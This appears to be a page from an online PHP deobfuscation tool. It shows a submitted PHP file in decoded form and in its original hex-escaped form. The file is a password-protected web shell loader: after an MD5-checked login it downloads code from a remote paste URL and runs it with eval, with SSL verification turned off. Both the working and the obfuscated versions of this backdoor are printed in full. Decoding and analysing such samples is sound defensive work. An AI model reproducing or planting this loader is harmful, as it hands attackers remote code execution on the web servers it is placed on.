Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto nt9Mr; CPIsP: function geturlsinfo($url) { if (function_exists("\143\x75\162\..

Decoded Output download

<?php 
 goto nt9Mr; CPIsP: function geturlsinfo($url) { if (function_exists("curl_exec")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["SAP"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["SAP"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("file_get_contents")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("fopen") && function_exists("stream_get_contents")) { $handle = fopen($url, "r"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto bCCWz; oUVqH: if (is_logged_in()) { $a = geturlsinfo("https://pst.innomi.net/paste/pkguguapscu3m43mhxyd6n7q/raw"); eval("?>" . $a); } else { ?> 
<!doctypehtml><html><head><title>2096</title></head><body><center><img src="https://steamuserimages-a.akamaihd.net/ugc/2273818175132637496/21BDD1BE11C877F954AEAF7B0E978D99B7D2422A/?imw=637&imh=358&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=true"><body style="background-color:#000"><form action=""method="POST"><label for="password">Password:</label> <input type="password"id="password"name="password"> <input type="submit"value="Touch Me!"></form></center></body></html><?php  } goto FyuKb; cLW7u: if (isset($_POST["password"])) { $entered_password = $_POST["password"]; $hashed_password = "8fa14cdd754f91cc6554c9e71929cce7"; if (md5($entered_password) === $hashed_password) { $_SESSION["logged_in"] = true; $_SESSION["SAP"] = "janco"; } else { echo "Incorrect password. Please try again."; } } goto oUVqH; bCCWz: function is_logged_in() { return isset($_SESSION["logged_in"]) && $_SESSION["logged_in"] === true; } goto cLW7u; nt9Mr: session_start(); goto CPIsP; FyuKb: ?>

Did this file decode correctly?

Original Code

<?php
 goto nt9Mr; CPIsP: function geturlsinfo($url) { if (function_exists("\143\x75\162\x6c\x5f\x65\170\145\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\115\157\x7a\151\x6c\154\141\57\65\x2e\x30\40\x28\x57\x69\x6e\x64\157\167\163\x20\x4e\124\40\x36\x2e\61\x3b\40\162\x76\72\63\62\x2e\60\51\40\x47\145\x63\153\x6f\57\62\60\x31\60\x30\x31\x30\61\40\x46\x69\162\x65\146\x6f\170\57\63\62\56\60"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["\x53\x41\120"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["\123\x41\x50"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\x66\x69\154\145\x5f\147\x65\x74\x5f\143\x6f\156\164\145\x6e\x74\163")) { $url_get_contents_data = file_get_contents($url); } elseif (function_exists("\146\x6f\160\145\x6e") && function_exists("\x73\164\x72\x65\x61\x6d\137\147\x65\x74\137\143\x6f\x6e\x74\x65\x6e\164\x73")) { $handle = fopen($url, "\x72"); $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } goto bCCWz; oUVqH: if (is_logged_in()) { $a = geturlsinfo("\150\164\x74\160\163\72\57\x2f\x70\163\164\56\x69\156\156\x6f\x6d\151\x2e\x6e\x65\164\x2f\160\x61\163\x74\145\57\160\153\147\x75\147\x75\x61\x70\163\x63\x75\63\155\x34\63\155\x68\x78\171\144\x36\156\x37\x71\x2f\162\x61\167"); eval("\77\x3e" . $a); } else { ?>
<!doctypehtml><html><head><title>2096</title></head><body><center><img src="https://steamuserimages-a.akamaihd.net/ugc/2273818175132637496/21BDD1BE11C877F954AEAF7B0E978D99B7D2422A/?imw=637&imh=358&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=true"><body style="background-color:#000"><form action=""method="POST"><label for="password">Password:</label> <input type="password"id="password"name="password"> <input type="submit"value="Touch Me!"></form></center></body></html><?php  } goto FyuKb; cLW7u: if (isset($_POST["\x70\141\163\x73\x77\157\x72\144"])) { $entered_password = $_POST["\x70\141\x73\163\167\157\162\x64"]; $hashed_password = "\x38\x66\141\61\64\143\x64\144\x37\65\x34\146\x39\61\x63\143\66\65\65\64\x63\71\x65\67\61\71\x32\x39\x63\143\x65\67"; if (md5($entered_password) === $hashed_password) { $_SESSION["\154\x6f\x67\x67\x65\144\137\151\156"] = true; $_SESSION["\x53\101\120"] = "\152\x61\156\x63\157"; } else { echo "\x49\x6e\x63\157\x72\162\145\x63\164\40\160\141\x73\163\x77\x6f\x72\144\56\x20\120\154\145\141\163\x65\40\164\162\171\x20\141\147\141\x69\156\x2e"; } } goto oUVqH; bCCWz: function is_logged_in() { return isset($_SESSION["\x6c\157\x67\x67\x65\144\137\151\156"]) && $_SESSION["\154\x6f\x67\x67\x65\144\x5f\x69\156"] === true; } goto cLW7u; nt9Mr: session_start(); goto CPIsP; FyuKb: ?>

Function Calls

None

Variables

None

Stats

MD5 b89b0e135f3bce5cf689deb5aa0f0757
Eval Count 0
Decode Time 51 ms